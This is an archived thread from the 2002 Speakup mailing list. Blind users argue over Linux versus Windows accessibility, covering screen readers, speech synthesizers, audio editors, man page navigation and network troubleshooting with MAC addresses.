> > > "All that is gold does not glitter.  Not all those who wander are lost."
> > > JRRT
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> >
> > --
> >
> > Janina Sajka, Director
> > Technology Research and Development
> > Governmental Relations Group
> > American Foundation for the Blind (AFB)
> >
> > Email: janina@afb.net Phone: (202) 408-8175
> >
> > Chair, Accessibility SIG
> > Open Electronic Book Forum (OEBF)
> > http://www.openebook.org
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> 
> --
> 
> Janina Sajka, Director
> Technology Research and Development
> Governmental Relations Group
> American Foundation for the Blind (AFB)
> 
> Email: janina@afb.net Phone: (202) 408-8175
> 
> Chair, Accessibility SIG
> Open Electronic Book Forum (OEBF)
> http://www.openebook.org
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

-- 
	
				Janina Sajka, Director
				Technology Research and Development
				Governmental Relations Group
				American Foundation for the Blind (AFB)

Email: janina@afb.net		Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org

Re: interesting experiment.

[Janina Sajka]

Hey, Ed:

Your procmail is undoubtedly already running. Adding a kill
script is pretty simple. Let me know if you want some example
files.

On Mon, 20 May 2002, Ed Barnes wrote:

> Hi ther buddy, I think something's strange there but I don't think we'll 
> agree on what's so strange, one hint, it has nothing to do with 20 
> letter commands vs shift f10 and check boxes.
>  Octavian I am relatively new to Linux myself so can understand the fact 
> that there are growing pains, remember that Linux is like anything else 
> you try, it takes time to learn and perfect your skill and you will get 
> out of Linux what you put into learning about it. So, it seems you've 
> taken alot but you've not given much with regard to the amount of effort 
> you've expended. 
> Don't know about any other listers here but if you are going to 
> continually send messages making excuses for this and or that to the list 
> and  not contribute in any other way other than to complain my next 
> project as a relative Linux newbie will be learning procmail and you 
> Octavian will be filter #1.
> Hope I've not offended anyone with this note including you Octavion and if 
> I have I'm sorry, the reality in my case is that I'm someone who tells 
> things as I see them and if someone doesn't lime me or what I've said as a 
> rsult I can live with that.
>  On Mon, 20 May 2002, Octavian Rasnita wrote:
> 
> > Is it harder to remember a space bar than a command line with 20 characters?
> > Something's strange here.
> > Teddy,
> > orasnita@home.ro
> > 
> > ----- Original Message -----
> > From: "Janina Sajka" <janina@afb.net>
> > To: <speakup@braille.uwo.ca>
> > Sent: Sunday, May 19, 2002 8:25 AM
> > Subject: Re: interesting experiment.
> > 
> > 
> > Spacebar? Shift F10? Man, how can you remember all that stuff?
> > 
> > 
> > On Sun, 19 May 2002, Shaun Oliver wrote:
> > 
> > > SNIP
> > > > > You open a window, and it explains you what you should do there.
> > > > > You have to press the space bar to check some checkboxes, to press
> > some
> > > > > buttons, etc, and if you don't know something, press shift+f10 (or the
> > right
> > > > > mouse button and choose "what's this?" or press F1 to view the help
> > file
> > > > > wich is much much more easier to navigate than the man pages under
> > Linux.
> > > SNIP
> > >
> > > A fake.
> > > man pages under GNU/Linux are a lot easier to navigate than windows help
> > > pages.
> > > you need to route the jaws cursor to the pc and then fart around trying to
> > > find what you were looking for.
> > > even with the new features in jfw I seriously doubt you could navigate a
> > > help file easier than a man page..
> > >
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> > 
> > --
> > 
> > Janina Sajka, Director
> > Technology Research and Development
> > Governmental Relations Group
> > American Foundation for the Blind (AFB)
> > 
> > Email: janina@afb.net Phone: (202) 408-8175
> > 
> > Chair, Accessibility SIG
> > Open Electronic Book Forum (OEBF)
> > http://www.openebook.org
> > 
> > 
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > 
> > 
> > 
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > 
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

-- 
	
				Janina Sajka, Director
				Technology Research and Development
				Governmental Relations Group
				American Foundation for the Blind (AFB)

Email: janina@afb.net		Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org

Re: interesting experiment.

[Deedra Waters]

Use  google to find them.:p


On Mon, 20 May 2002, Octavian Rasnita wrote:

> Are these programs free? Do you have a web site address  where I can
> download them?
> 
> Thanks.
> Teddy,
> orasnita@home.ro
> 
> ----- Original Message -----
> From: "Janina Sajka" <janina@afb.net>
> To: <speakup@braille.uwo.ca>
> Sent: Sunday, May 19, 2002 8:43 PM
> Subject: Re: interesting experiment.
> 
> 
> Alex:
> 
> There's both ecasound and sox, and they're both very powerful.
> But, they work very differetnly from Sound Forge and Cool Edit.
> Also, their documentation is not professionally written, even
> though it is professional quality software.
> 
> In the realm of sound creation, there's the very classic Csound
> available for linux. This is the grand old synthesis ware that
> has been the bread and butter of major electronic music research
> facilities like carma at Stanford and Earcom in Paris.
> 
> On Sun, 19 May 2002, Alex Snow wrote:
> 
> > Is there any console based audio editors that work under linux? I've seen
> > one listed on the speakup projects page, but it said that it was on hold
> > because there were alternate solutions out there.  What are those
> alternate
> > solutions?
> > ----- Original Message -----
> > From: "Rich Caloggero" <rjc@MIT.EDU>
> > To: <speakup@braille.uwo.ca>
> > Sent: Sunday, May 19, 2002 3:08 AM
> > Subject: Re: interesting experiment.
> >
> >
> > > Yes, I must second on the music stuff. The only reason I use windows and
> > > Jaws is that it gives me access to cakeWalk, a very powerful (and mostly
> > > accessible) music sequencing and audio editing environment. Writing such
> a
> > > beast is very difficult, nontrivial, very f*cking hard, and takes many
> > human
> > > years to accomplish.
> > > To be fair, some of this difficulty may have to do with its reliance on
> > > Windows and its very ugly GUI programming (yes, its as ugly to develope
> > > under as it is to use), and some of the complexity may have to do with
> its
> > > ability to deal with music notation, but its still a nontrivial task to
> > > write such a beast. My feeling is that a console based sequencing and
> > audio
> > > package like cakeWalk won't ever be created, because sighted people want
> > to
> > > use a GUI. When gnome comes on-line for us, we may have more options in
> > this
> > > regard. I've heard of mixers and effects processors which are x-windows
> > > based, but I'm not sure how well they work. I think there is a sequencer
> > or
> > > two as well for the X environment. The question is, are any of these as
> > good
> > > as cakeWalk? CakeWalk is a professional quality product in every way.
> The
> > > only thing nonprofessional about it is Windows!
> > >
> > > There is someone (Frank Carmichael, I believe) who has been working on
> the
> > > audio piece of this, so maybe he can chime in on this and tell me how
> > *wrong
> > > I am*! <smile>
> > >
> > > There is no way to create music the way I do without this program! It
> sux,
> > > but its unfortunately the case.
> > >
> > >                     Rich
> > >
> > > ----- Original Message -----
> > > From: "Octavian Rasnita" <orasnita@home.ro>
> > > To: <speakup@braille.uwo.ca>
> > > Sent: 18 May, 2002 8:37 PM
> > > Subject: Re: interesting experiment.
> > >
> > >
> > > Are there any games accessible for the blind under Linux, like under
> > > Windows?
> > > Please tell me some web addresses.
> > > Are there any good sound editing programs for Linux, like Sound Forge,
> > Cool
> > > Edit, Gold Wave, etc, and programs for creating MIDI music, like Cake
> > Walk?
> > >
> > > Is there a text editor, that has macro features, Regular expressions,
> the
> > > ability to save in Windows/Mac/Unix format, etc?
> > >
> > > ... Just a few things that camed to mind.
> > >
> > > A lot of things are accessible, but ... harder to learn, harder to
> > configure
> > > and harder to use, if I am not so bright to remember 1000 command line
> > > parameters.
> > >
> > > Thank you for the links.
> > > Teddy,
> > > orasnita@home.ro
> > >
> > > ----- Original Message -----
> > > From: "Janina Sajka" <janina@afb.net>
> > > To: <speakup@braille.uwo.ca>
> > > Sent: Saturday, May 18, 2002 9:59 PM
> > > Subject: Re: interesting experiment.
> > >
> > >
> > > On Sat, 18 May 2002, Darrell Shandrow wrote:
> > > > I just wish Linux were
> > > > a more viable general purpose workstation; I use Windows for that
> > purpose.
> > > >
> > > Hi, Darrell:
> > >
> > > Just wondering what you think is missing from Linux' desktop
> > > applications.
> > >
> > > In case this sounds loaded, it might be. The underlying question
> > > might be: Is it your knowledge deficit, or is it Linux itself?
> > > For my own experience in this matter, I've found it's my
> > > knowledge deficit almost without exception.
> > >
> > >
> > >
> > >
> >
> > --------------------------------------------------------------------------
> > --
> > > ----
> > >
> > >
> > >
> > > ---
> > > Outgoing mail is certified Virus Free.
> > > Checked by AVG anti-virus system (http://www.grisoft.com).
> > > Version: 6.0.361 / Virus Database: 199 - Release Date: 5/7/2002
> > >
> > >
> > >
> > >
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> 
> --
> 
> Janina Sajka, Director
> Technology Research and Development
> Governmental Relations Group
> American Foundation for the Blind (AFB)
> 
> Email: janina@afb.net Phone: (202) 408-8175
> 
> Chair, Accessibility SIG
> Open Electronic Book Forum (OEBF)
> http://www.openebook.org
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

Re: interesting experiment.

[Gregory Nowak]

At most 2? Well, I've got 5 here, and one of them is a vintage IBM machine. I used to have a couple more, but I ended up refurbishing them (they were 4/586 machines) with the functioning parts I pulled out of dead machines, and started giving them away to people I knew who would benefit from having a pc, but who couldn't afford one.
Greg


On Mon, May 20, 2002 at 05:28:15AM +0300, Octavian Rasnita wrote:
> Most of Windows users don't have a network but only a single computer, or at
> most 2.
> If there is a network, there is a system administrator.
> I am not a software engineer. I am licenced in Management, and I've worked
> only in Sales and marketing.
> But I want to be able to use an operating system that a lot of people say
> that is the best.
> 
> Teddy,
> orasnita@home.ro
> 
> ----- Original Message -----
> From: "Kerry Hoath" <kerry@gotss.net>
> To: <speakup@braille.uwo.ca>
> Sent: Sunday, May 19, 2002 12:59 PM
> Subject: Re: interesting experiment.
> 
> 
> The MAC address is required to diagnose certain network related problems
> such as bad switches, faulty dhcp implementations from certain vendors,
> network jabbers, broadcast storms, packet tracing and a host
> of other uses.
> Watching your network for arp trafic with tcpdump can tell you if your
> windows box has come up onto the network and if the NIC is working.
> Knowing which machine you are looking for on a multi-pc network means
> knowing the mac address
> especially if there is an ip address conflict.
> Compound your problems by having a corrupted dhcp lease database under NT or
> 2 machines
> set to the same ip 1 dhcp 1 not, and you'd like to know which
> machine is where.
> MAC addresses are unique, and many organizations use the MAC address to
> track where
> their computers (or the network cards in said computers) are.
> Tracking a MAC address can tell you which segment on a switch a machine is
> on, and
> on complicated setups you can dump the MAC table to debug 802.1
> bridging problems.
> It is conceivable that on your home network you have personally
> never neded to know the MAC address of your windows box,
> and that is fare enough.
> I have debugged network problems in seconds with knowledge, a few MAC
> addresses
> and a packet sniffer that have baffled others for weeks.
> Maybe I am becoming disalusioned, but it seems so many people these days
> have
> no desire to know how things work, I mean really work.
> If you understand how things work,
> it is far easier to fix problems.
> My underlying knowledge of ethernet makes solving most networking problems a
> snap.
> 
> Regards, Kerry.
> On Sun, May 19, 2002 at 12:12:20AM -0500, Gregory Nowak wrote:
> > Ok, why would one need to know their nic's mac address under windows 9x?
> > I've never had to, and I used windblows extensively for a good while.
> > Greg
> >
> >
> > On Sun, May 19, 2002 at 12:49:52AM -0400, Janina Sajka wrote:
> > > On Sun, 19 May 2002, Octavian Rasnita wrote:
> > >
> 
> --
> Kerry Hoath:  kerry@gotss.net kerry@gotss.eu.org or
> kerry@gotss.spice.net.au
> ICQ: 8226547 msn: kerry@gotss.net Yahoo: kerryhoath@yahoo.com.au
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: interesting experiment.

[Octavian Rasnita]

The sound quality of DecTalk PC 1 is very bad.
It uses an 8 bith sound encription and it has a bad noise.
The voice is not very good also. Via voice is pretty good.
I wish I could do something to stop it  crashing.
Teddy,
orasnita@home.ro

----- Original Message -----
From: "Janina Sajka" <janina@afb.net>
To: <speakup@braille.uwo.ca>
Sent: Monday, May 20, 2002 6:20 AM
Subject: Re: interesting experiment.


Did you say you have a DEC Talk internal? Use it.

On Mon, 20 May 2002, Octavian Rasnita wrote:

> Ok, at least I know what is the problem now.
> Are there any better software sinthesizers than Via voice  that can work
> with emacspeak?
> I don't care too much about responsiveness. I care about the sound
quality.
>
> Thanks.
> Teddy,
> orasnita@home.ro
>
> ----- Original Message -----
> From: "Janina Sajka" <janina@afb.net>
> To: <speakup@braille.uwo.ca>
> Sent: Sunday, May 19, 2002 7:58 AM
> Subject: Re: interesting experiment.
>
>
> I believe he is speaking of ViaVoice, and it does crash. Now, if
> the source were available, someone of us would undoubtedly have
> solved this issue. But it isn't.
>
> So, don't blame Linux. Blame IBM and the Windows mindset that
> they brought to Linux in ViaVoice.
>
> On Sun, 19 May 2002, Cecil H. Whitley wrote:
>
> > Hi,
> > Just a minor question, are you speaking of viavoice outloud for windows
or
> > linux??  Things crashing under windows is normal, expected behavior.  I
> > would go so far as to inquire if possibly there is a "crashed_recently"
> > variable within windows along with a random countdown timer......
> > Regards,
> > Cecil
> > ----- Original Message -----
> > From: "Octavian Rasnita" <orasnita@home.ro>
> > To: <speakup@braille.uwo.ca>
> > Sent: Saturday, May 18, 2002 8:45 PM
> > Subject: Re: interesting experiment.
> >
> >
> > > Do you mean that using Emacspeak is easier than using Windows?
> > > Nice joke. Really.
> > > And ... without a hardware sinthesizer, with that IBM Via Voice that
> likes
> > > to crash so often, or other software sinthesizers hard to understand,
> ...
> > > Teddy,
> > > orasnita@home.ro
> > >
> > > ----- Original Message -----
> > > From: "Ann Parsons" <akp@eznet.net>
> > > To: <speakup@braille.uwo.ca>
> > > Sent: Saturday, May 18, 2002 11:53 PM
> > > Subject: Re: interesting experiment.
> > >
> > >
> > > Hi all,
> > >
> > > Why don't you try Emacspeak and quit yawping!  There *is* a speech
> > > output system that uses software speech.
> > >
> > > Ann P.
> > >
> > > --
> > > Ann K. Parsons
> > > email:  akp@eznet.net ICQ Number:  33006854
> > > WEB SITE:  http://home.eznet.net/~akp
> > > "All that is gold does not glitter.  Not all those who wander are
lost."
> > > JRRT
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
>
> --
>
> Janina Sajka, Director
> Technology Research and Development
> Governmental Relations Group
> American Foundation for the Blind (AFB)
>
> Email: janina@afb.net Phone: (202) 408-8175
>
> Chair, Accessibility SIG
> Open Electronic Book Forum (OEBF)
> http://www.openebook.org
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

--

Janina Sajka, Director
Technology Research and Development
Governmental Relations Group
American Foundation for the Blind (AFB)

Email: janina@afb.net Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org


_______________________________________________
Speakup mailing list
Speakup@braille.uwo.ca
http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: interesting experiment.

[Octavian Rasnita]

Some people say that there are no stupid questions. Only stupid answers.
Your answer was very helpful indeed.

Teddy,
orasnita@home.ro

----- Original Message -----
From: "Janina Sajka" <janina@afb.net>
To: <speakup@braille.uwo.ca>
Sent: Monday, May 20, 2002 6:29 AM
Subject: Re: interesting experiment.


Octavian:

When you ask intelligent questions, I will answer you.

When you refuse to follow good advice, I will ignore you, as I
will now ignore this question from you.

On Mon, 20 May 2002, Octavian Rasnita wrote:

> Are these programs free? Do you have a web site address  where I can
> download them?
>
> Thanks.
> Teddy,
> orasnita@home.ro
>
> ----- Original Message -----
> From: "Janina Sajka" <janina@afb.net>
> To: <speakup@braille.uwo.ca>
> Sent: Sunday, May 19, 2002 8:43 PM
> Subject: Re: interesting experiment.
>
>
> Alex:
>
> There's both ecasound and sox, and they're both very powerful.
> But, they work very differetnly from Sound Forge and Cool Edit.
> Also, their documentation is not professionally written, even
> though it is professional quality software.
>
> In the realm of sound creation, there's the very classic Csound
> available for linux. This is the grand old synthesis ware that
> has been the bread and butter of major electronic music research
> facilities like carma at Stanford and Earcom in Paris.
>
> On Sun, 19 May 2002, Alex Snow wrote:
>
> > Is there any console based audio editors that work under linux? I've
seen
> > one listed on the speakup projects page, but it said that it was on hold
> > because there were alternate solutions out there.  What are those
> alternate
> > solutions?
> > ----- Original Message -----
> > From: "Rich Caloggero" <rjc@MIT.EDU>
> > To: <speakup@braille.uwo.ca>
> > Sent: Sunday, May 19, 2002 3:08 AM
> > Subject: Re: interesting experiment.
> >
> >
> > > Yes, I must second on the music stuff. The only reason I use windows
and
> > > Jaws is that it gives me access to cakeWalk, a very powerful (and
mostly
> > > accessible) music sequencing and audio editing environment. Writing
such
> a
> > > beast is very difficult, nontrivial, very f*cking hard, and takes many
> > human
> > > years to accomplish.
> > > To be fair, some of this difficulty may have to do with its reliance
on
> > > Windows and its very ugly GUI programming (yes, its as ugly to
develope
> > > under as it is to use), and some of the complexity may have to do with
> its
> > > ability to deal with music notation, but its still a nontrivial task
to
> > > write such a beast. My feeling is that a console based sequencing and
> > audio
> > > package like cakeWalk won't ever be created, because sighted people
want
> > to
> > > use a GUI. When gnome comes on-line for us, we may have more options
in
> > this
> > > regard. I've heard of mixers and effects processors which are
x-windows
> > > based, but I'm not sure how well they work. I think there is a
sequencer
> > or
> > > two as well for the X environment. The question is, are any of these
as
> > good
> > > as cakeWalk? CakeWalk is a professional quality product in every way.
> The
> > > only thing nonprofessional about it is Windows!
> > >
> > > There is someone (Frank Carmichael, I believe) who has been working on
> the
> > > audio piece of this, so maybe he can chime in on this and tell me how
> > *wrong
> > > I am*! <smile>
> > >
> > > There is no way to create music the way I do without this program! It
> sux,
> > > but its unfortunately the case.
> > >
> > >                     Rich
> > >
> > > ----- Original Message -----
> > > From: "Octavian Rasnita" <orasnita@home.ro>
> > > To: <speakup@braille.uwo.ca>
> > > Sent: 18 May, 2002 8:37 PM
> > > Subject: Re: interesting experiment.
> > >
> > >
> > > Are there any games accessible for the blind under Linux, like under
> > > Windows?
> > > Please tell me some web addresses.
> > > Are there any good sound editing programs for Linux, like Sound Forge,
> > Cool
> > > Edit, Gold Wave, etc, and programs for creating MIDI music, like Cake
> > Walk?
> > >
> > > Is there a text editor, that has macro features, Regular expressions,
> the
> > > ability to save in Windows/Mac/Unix format, etc?
> > >
> > > ... Just a few things that camed to mind.
> > >
> > > A lot of things are accessible, but ... harder to learn, harder to
> > configure
> > > and harder to use, if I am not so bright to remember 1000 command line
> > > parameters.
> > >
> > > Thank you for the links.
> > > Teddy,
> > > orasnita@home.ro
> > >
> > > ----- Original Message -----
> > > From: "Janina Sajka" <janina@afb.net>
> > > To: <speakup@braille.uwo.ca>
> > > Sent: Saturday, May 18, 2002 9:59 PM
> > > Subject: Re: interesting experiment.
> > >
> > >
> > > On Sat, 18 May 2002, Darrell Shandrow wrote:
> > > > I just wish Linux were
> > > > a more viable general purpose workstation; I use Windows for that
> > purpose.
> > > >
> > > Hi, Darrell:
> > >
> > > Just wondering what you think is missing from Linux' desktop
> > > applications.
> > >
> > > In case this sounds loaded, it might be. The underlying question
> > > might be: Is it your knowledge deficit, or is it Linux itself?
> > > For my own experience in this matter, I've found it's my
> > > knowledge deficit almost without exception.
> > >
> > >
> > >
> > >
> >
>
> --------------------------------------------------------------------------
> > --
> > > ----
> > >
> > >
> > >
> > > ---
> > > Outgoing mail is certified Virus Free.
> > > Checked by AVG anti-virus system (http://www.grisoft.com).
> > > Version: 6.0.361 / Virus Database: 199 - Release Date: 5/7/2002
> > >
> > >
> > >
> > >
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
>
> --
>
> Janina Sajka, Director
> Technology Research and Development
> Governmental Relations Group
> American Foundation for the Blind (AFB)
>
> Email: janina@afb.net Phone: (202) 408-8175
>
> Chair, Accessibility SIG
> Open Electronic Book Forum (OEBF)
> http://www.openebook.org
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

--

Janina Sajka, Director
Technology Research and Development
Governmental Relations Group
American Foundation for the Blind (AFB)

Email: janina@afb.net Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org


_______________________________________________
Speakup mailing list
Speakup@braille.uwo.ca
http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: interesting experiment.

[Gregory Nowak]

We're all assuming he's using speakup since he's here. But from all of Tedy's comments in other posts, I am beginning to get the impression that he's not, since he seems to be asking for screen readers which support software tts.
Greg


On Sun, May 19, 2002 at 10:58:09PM -0400, Deedra Waters wrote:
> Try man < emacs|less then use the speakup keys to read line by line, or
> word by word if you wish. you can bring up the next page by hitting the
> space bar.
> 
> 
> On Mon, 20 May 2002, Octavian Rasnita wrote:
> 
> > Please enlighten me.
> > I never used the Jaws cursor in the new HTML help  format under Windows.
> > Select an item in the tree view, press enter, then press F6 and it will
> > automaticly start reading that help item. It is a simple HTML file there,
> > and it works exactly as simple as Internet Explorer.
> > You don't need the Jaws cursor at all.
> > 
> > You needed the Jaws cursor only for some bad designed help files in the old
> > .hlp format.
> > Now in the new .chm format, you don't have any problems.
> > 
> > But this doesn't matter too much. Please tell me how to navigate the man
> > pages.
> > I type man mv, for example.
> > It starts to print all the help file, but maybe I want to move with a page
> > up then down, etc.
> > 
> > I know this is possible. Thanks.
> > Teddy,
> > orasnita@home.ro
> > 
> > ----- Original Message -----
> > From: "Shaun Oliver" <shaun_oliver@optusnet.com.au>
> > To: <speakup@braille.uwo.ca>
> > Sent: Sunday, May 19, 2002 8:05 AM
> > Subject: Re: interesting experiment.
> > 
> > 
> > SNIP
> > > > You open a window, and it explains you what you should do there.
> > > > You have to press the space bar to check some checkboxes, to press some
> > > > buttons, etc, and if you don't know something, press shift+f10 (or the
> > right
> > > > mouse button and choose "what's this?" or press F1 to view the help file
> > > > wich is much much more easier to navigate than the man pages under
> > Linux.
> > SNIP
> > 
> > A fake.
> > man pages under GNU/Linux are a lot easier to navigate than windows help
> > pages.
> > you need to route the jaws cursor to the pc and then fart around trying to
> > find what you were looking for.
> > even with the new features in jfw I seriously doubt you could navigate a
> > help file easier than a man page..
> > 
> > 
> > 
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > 
> > 
> > 
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > 
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: interesting experiment.

[Gregory Nowak]

No, but there was a jfw specific comment earlier (not from Tedy, I forget who it was from). You seem to have missed it.
Greg


On Sun, May 19, 2002 at 11:19:21PM -0400, Janina Sajka wrote:
> I have no idea what you're talking about. This isn't a JFW list.
> 
> Was there a question here? Or what is this all about?
> 
> On Mon, 20 May 2002, Octavian Rasnita wrote:
> 
> > Please enlighten me.
> > I never used the Jaws cursor in the new HTML help  format under Windows.
> > Select an item in the tree view, press enter, then press F6 and it will
> > automaticly start reading that help item. It is a simple HTML file there,
> > and it works exactly as simple as Internet Explorer.
> > You don't need the Jaws cursor at all.
> > 
> > You needed the Jaws cursor only for some bad designed help files in the old
> > .hlp format.
> > Now in the new .chm format, you don't have any problems.
> > 
> > But this doesn't matter too much. Please tell me how to navigate the man
> > pages.
> > I type man mv, for example.
> > It starts to print all the help file, but maybe I want to move with a page
> > up then down, etc.
> > 
> > I know this is possible. Thanks.
> > Teddy,
> > orasnita@home.ro
> > 
> > ----- Original Message -----
> > From: "Shaun Oliver" <shaun_oliver@optusnet.com.au>
> > To: <speakup@braille.uwo.ca>
> > Sent: Sunday, May 19, 2002 8:05 AM
> > Subject: Re: interesting experiment.
> > 
> > 
> > SNIP
> > > > You open a window, and it explains you what you should do there.
> > > > You have to press the space bar to check some checkboxes, to press some
> > > > buttons, etc, and if you don't know something, press shift+f10 (or the
> > right
> > > > mouse button and choose "what's this?" or press F1 to view the help file
> > > > wich is much much more easier to navigate than the man pages under
> > Linux.
> > SNIP
> > 
> > A fake.
> > man pages under GNU/Linux are a lot easier to navigate than windows help
> > pages.
> > you need to route the jaws cursor to the pc and then fart around trying to
> > find what you were looking for.
> > even with the new features in jfw I seriously doubt you could navigate a
> > help file easier than a man page..
> > 
> > 
> > 
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > 
> > 
> > 
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > 
> 
> -- 
> 	
> 				Janina Sajka, Director
> 				Technology Research and Development
> 				Governmental Relations Group
> 				American Foundation for the Blind (AFB)
> 
> Email: janina@afb.net		Phone: (202) 408-8175
> 
> Chair, Accessibility SIG
> Open Electronic Book Forum (OEBF)
> http://www.openebook.org
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: interesting experiment.

[Octavian Rasnita]

No, you haven't offended me.
I just like to answer the questions other listers put.
If someone wants to filter my messages, I have no problem.
After my posts, I usually make a lot of enemies but a lot of friends also.

I have a lot of enemies because a lot of people don't like to hear the other
opinions if they don't fit theirs.
For example, if I say, "What? Rolling Stones? It's a bullshit. I don't like
it," some people that like Rolling Stones will hate me for that, but I've
just told my opinions. Of course, I won't use bad words because I don't like
it either.

I haven't said that Linux is not a good OS. It is a great OS, and I want to
learn it, but most people don't want to accept that maybe others can't learn
from a manual.
A lot of people don't want to accept that maybe others are not connected to
internet all the time, and it is not very simple to click on a link while
their are working offline.
A lot of people tell that you don't need to be a specialist in Linux to use
it at its full potential, but I don't think this is true.
I am not a specialist in Windows either, but I can use it very well.

I can make some considered advanced settings using the registry, install and
uninstall some devices that are not plug and play, etc, but I am not an
advanced user, and I haven't read any manual for Windows.

Well, I want to be able to use Linux just like I use Windows, without being
a specialist, without reading a lot of manuals, without learning weeks or
months how to make some settings that I will need to use only once in 3
years, etc.

Is this possible?
Please advice how.

Teddy,
orasnita@home.ro

----- Original Message -----
From: "Ed Barnes" <edbarnes@anomaly.2y.net>
To: <speakup@braille.uwo.ca>
Sent: Monday, May 20, 2002 6:44 AM
Subject: Re: interesting experiment.


Hi ther buddy, I think something's strange there but I don't think we'll
agree on what's so strange, one hint, it has nothing to do with 20
letter commands vs shift f10 and check boxes.
 Octavian I am relatively new to Linux myself so can understand the fact
that there are growing pains, remember that Linux is like anything else
you try, it takes time to learn and perfect your skill and you will get
out of Linux what you put into learning about it. So, it seems you've
taken alot but you've not given much with regard to the amount of effort
you've expended.
Don't know about any other listers here but if you are going to
continually send messages making excuses for this and or that to the list
and  not contribute in any other way other than to complain my next
project as a relative Linux newbie will be learning procmail and you
Octavian will be filter #1.
Hope I've not offended anyone with this note including you Octavion and if
I have I'm sorry, the reality in my case is that I'm someone who tells
things as I see them and if someone doesn't lime me or what I've said as a
rsult I can live with that.
 On Mon, 20 May 2002, Octavian Rasnita wrote:

> Is it harder to remember a space bar than a command line with 20
characters?
> Something's strange here.
> Teddy,
> orasnita@home.ro
>
> ----- Original Message -----
> From: "Janina Sajka" <janina@afb.net>
> To: <speakup@braille.uwo.ca>
> Sent: Sunday, May 19, 2002 8:25 AM
> Subject: Re: interesting experiment.
>
>
> Spacebar? Shift F10? Man, how can you remember all that stuff?
>
>
> On Sun, 19 May 2002, Shaun Oliver wrote:
>
> > SNIP
